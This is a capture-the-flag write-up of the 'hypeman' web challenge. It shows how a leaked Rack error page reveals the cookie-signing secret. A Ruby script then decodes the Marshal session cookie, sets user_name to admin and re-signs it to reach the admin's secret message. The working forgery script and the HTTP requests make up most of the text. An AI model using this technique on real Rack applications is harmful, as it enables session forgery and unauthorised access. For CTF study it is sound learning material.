URL: http://hypeman.shallweplayaga.me/
Type: Rack cookie tampering
Solution: watch out for this Etdeksogav
Let’s create a new account:
POST / HTTP/1.1 Host: hypeman.shallweplayaga.me Content-Type: application/x-www-form-urlencoded Content-Length: 41 username=phoenix1204&password=phoenix1204 -------------------------------------------------------------------- HTTP/1.1 303 See Other Content-Type: text/html;charset=utf-8 Location: http://hypeman.shallweplayaga.me/secrets Set-Cookie: rack.session=BAh7CUkiD3Nlc3Npb25faWQGOgZFRiJFOTRhMGY1MmI3ZDgxODkxZmY0NGJm%0AYjBkNmJmYjRkOTMzNGI0MWVhNTVlMjEzYmNmNzc5OWM4Mjk2ZTdjOTM5MEki%0ADXRyYWNraW5nBjsARnsISSIUSFRUUF9VU0VSX0FHRU5UBjsARiItYmUzNTUz%0AYjEwNWNlMjk2MTlhODA0MDBkNDA2MWNhYTdiZGNjYTMwY0kiGUhUVFBfQUND%0ARVBUX0VOQ09ESU5HBjsARiItYTBiZmM4NzZkNjhmZTdhZWE3MDBkYTVlYTg5%0AMjVhYmFjNmYyZjc5NEkiGUhUVFBfQUNDRVBUX0xBTkdVQUdFBjsARiItMTM2%0AMWExNzM5ZDNmOGRkZDJjNWE4MGM4MjM2MTMzNzVjZDIwYjc4YkkiCWNzcmYG%0AOwBGIkViOTBmNzc1NmQ5MjlmNzUyZDBjNmE4OGFjMDFiMzg4MjJhZTA3OGY1%0AN2Y0YWFiNzc5ZDZlMTY4NTgwYjZhYWY2SSIOdXNlcl9uYW1lBjsARkkiEHBo%0Ab2VuaXgxMjA0BjsAVA%3D%3D%0A--a17e71150525bb7078d8fc3a29b49b65ce6b9148; path=/; HttpOnly X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Content-Length: 0 Connection: keep-alive
A rack cookie rack.session
is set, which contains a base64 string and a « data integrity » signature separated by --
. If signature is used, then the rack cookie can only be tampered if we know the secret used to sign the cookies…
Once logged in, we see the list of existing secret messages and we can also create a new one:
Let’s try to see the first secret message (http://hypeman.shallweplayaga.me/secrets/0) – named key
and owned by admin
– as it should be the challenge key. Unfortunatly we’ve got the following authorization error message from Rack (Ruby Webserver Interface):
From this error report we can learn :
- Part of the source code where the error occurs (clicking on the line number in backtrace will display above and below code lines):
end
redirect '/secrets'
end
get '/secrets/:id' do
s = SECRETS[params[:id].to_i]
raise "unauthorized" if session[:user_name] != s.username
haml :secret, locals: {secret: s}
end
helpers do
def current_user
return nil unless session[:user_name]
- our decoded
rack.session
cookie:
rack.session {"session_id"=>"94a0f52b7d81891ff44bfb0d6bfb4d9334b41ea55e213bcf7799c8296e7c9390",
"tracking"=>
{"HTTP_USER_AGENT"=>"be3553b105ce29619a80400d4061caa7bdcca30c",
"HTTP_ACCEPT_ENCODING"=>"a0bfc876d68fe7aea700da5ea8925abac6f2f794",
"HTTP_ACCEPT_LANGUAGE"=>"1361a1739d3f8ddd2c5a80c823613375cd20b78b"},
"csrf"=>"b90f7756d929f752d0c6a88ac01b38822ae078f57f4aab779d6e168580b6aaf6",
"user_name"=>"phoenix1204"} - Rack session options which includes the secret used to sign the cookies :
rack.session.options {:path=>"/", :domain=>nil, :expire_after=>nil, :secure=>false, :httponly=>true, :defer=>false, :renew=>false, :sidbits=>128, :secure_random=>SecureRandom, :secret=>"wroashsoxDiculReejLykUssyifabEdGhovHabno", :coder=>#<Rack::Session::Cookie::Base64::Marshal:0x00000002130338>}
https://github.com/rack/rack/blob/master/lib/rack/session/cookie.rb describes how to encode/decode a rack cookie.
Encoding process performs the following operations:
- the object is serialised using the ruby function Marshal.dump;
- the result is encoded using base64;
- the result is then URL-encoded to prevent any issues with HTTP;
- optionally sign the cookie.
In order to acces to admin secret message, we will have to decode our rack cookie, substitute our user_name with admin
, re-encode the cookie and then compute the new signature:
require "uri" require "base64" require "openssl" require "pp" secret = "wroashsoxDiculReejLykUssyifabEdGhovHabno" cookie, signature = ARGV[0].split("--") decoded = Base64.decode64(URI.decode(cookie)) object = Marshal.load(decoded) object["user_name"] = "admin" pp object new_cookie = Base64.encode64(Marshal.dump(object)) new_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, new_cookie) puts URI.encode(new_cookie).gsub("=", "%3D")+"--"+new_signature
$ ruby tamper_cookie.rb "BAh7CUkiD3Nlc3Npb25faWQGOgZFRiJFOTRhMGY1MmI3ZDgxODkxZmY0NGJm%0AYjBkNmJmYjRkOTMzNGI0MWVhNTVlMjEzYmNmNzc5OWM4Mjk2ZTdjOTM5MEki%0ADXRyYWNraW5nBjsARnsISSIUSFRUUF9VU0VSX0FHRU5UBjsARiItYmUzNTUz%0AYjEwNWNlMjk2MTlhODA0MDBkNDA2MWNhYTdiZGNjYTMwY0kiGUhUVFBfQUND%0ARVBUX0VOQ09ESU5HBjsARiItYTBiZmM4NzZkNjhmZTdhZWE3MDBkYTVlYTg5%0AMjVhYmFjNmYyZjc5NEkiGUhUVFBfQUNDRVBUX0xBTkdVQUdFBjsARiItMTM2%0AMWExNzM5ZDNmOGRkZDJjNWE4MGM4MjM2MTMzNzVjZDIwYjc4YkkiCWNzcmYG%0AOwBGIkViOTBmNzc1NmQ5MjlmNzUyZDBjNmE4OGFjMDFiMzg4MjJhZTA3OGY1%0AN2Y0YWFiNzc5ZDZlMTY4NTgwYjZhYWY2SSIOdXNlcl9uYW1lBjsARkkiEHBo%0Ab2VuaXgxMjA0BjsAVA%3D%3D%0A--a17e71150525bb7078d8fc3a29b49b65ce6b9148" {"user_name"=>"admin", "tracking"=> {"HTTP_ACCEPT_LANGUAGE"=>"1361a1739d3f8ddd2c5a80c823613375cd20b78b", "HTTP_USER_AGENT"=>"be3553b105ce29619a80400d4061caa7bdcca30c", "HTTP_ACCEPT_ENCODING"=>"a0bfc876d68fe7aea700da5ea8925abac6f2f794"}, "session_id"=> "94a0f52b7d81891ff44bfb0d6bfb4d9334b41ea55e213bcf7799c8296e7c9390", "csrf"=>"b90f7756d929f752d0c6a88ac01b38822ae078f57f4aab779d6e168580b6aaf6"} BAh7CSIOdXNlcl9uYW1lIgphZG1pbiINdHJhY2tpbmd7CCIZSFRUUF9BQ0NF%0AUFRfTEFOR1VBR0UiLTEzNjFhMTczOWQzZjhkZGQyYzVhODBjODIzNjEzMzc1%0AY2QyMGI3OGIiFEhUVFBfVVNFUl9BR0VOVCItYmUzNTUzYjEwNWNlMjk2MTlh%0AODA0MDBkNDA2MWNhYTdiZGNjYTMwYyIZSFRUUF9BQ0NFUFRfRU5DT0RJTkci%0ALWEwYmZjODc2ZDY4ZmU3YWVhNzAwZGE1ZWE4OTI1YWJhYzZmMmY3OTQiD3Nl%0Ac3Npb25faWQiRTk0YTBmNTJiN2Q4MTg5MWZmNDRiZmIwZDZiZmI0ZDkzMzRi%0ANDFlYTU1ZTIxM2JjZjc3OTljODI5NmU3YzkzOTAiCWNzcmYiRWI5MGY3NzU2%0AZDkyOWY3NTJkMGM2YTg4YWMwMWIzODgyMmFlMDc4ZjU3ZjRhYWI3NzlkNmUx%0ANjg1ODBiNmFhZjY%3D%0A--34a37c223d446e1fafed56397d9f2eced3b71a89
OK let’s try to access http://hypeman.shallweplayaga.me/secrets/0 with this new rack cookie :
GET /secrets/0 HTTP/1.1 Host: hypeman.shallweplayaga.me User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-fr;q=0.8,en;q=0.5,en-us;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: rack.session=BAh7CSIOdXNlcl9uYW1lIgphZG1pbiINdHJhY2tpbmd7CCIZSFRUUF9BQ0NF%0AUFRfTEFOR1VBR0UiLTEzNjFhMTczOWQzZjhkZGQyYzVhODBjODIzNjEzMzc1%0AY2QyMGI3OGIiFEhUVFBfVVNFUl9BR0VOVCItYmUzNTUzYjEwNWNlMjk2MTlh%0AODA0MDBkNDA2MWNhYTdiZGNjYTMwYyIZSFRUUF9BQ0NFUFRfRU5DT0RJTkci%0ALWEwYmZjODc2ZDY4ZmU3YWVhNzAwZGE1ZWE4OTI1YWJhYzZmMmY3OTQiD3Nl%0Ac3Npb25faWQiRTk0YTBmNTJiN2Q4MTg5MWZmNDRiZmIwZDZiZmI0ZDkzMzRi%0ANDFlYTU1ZTIxM2JjZjc3OTljODI5NmU3YzkzOTAiCWNzcmYiRWI5MGY3NzU2%0AZDkyOWY3NTJkMGM2YTg4YWMwMWIzODgyMmFlMDc4ZjU3ZjRhYWI3NzlkNmUx%0ANjg1ODBiNmFhZjY%3D%0A--34a37c223d446e1fafed56397d9f2eced3b71a89 Connection: keep-alive
key
watch out for this Etdeksogav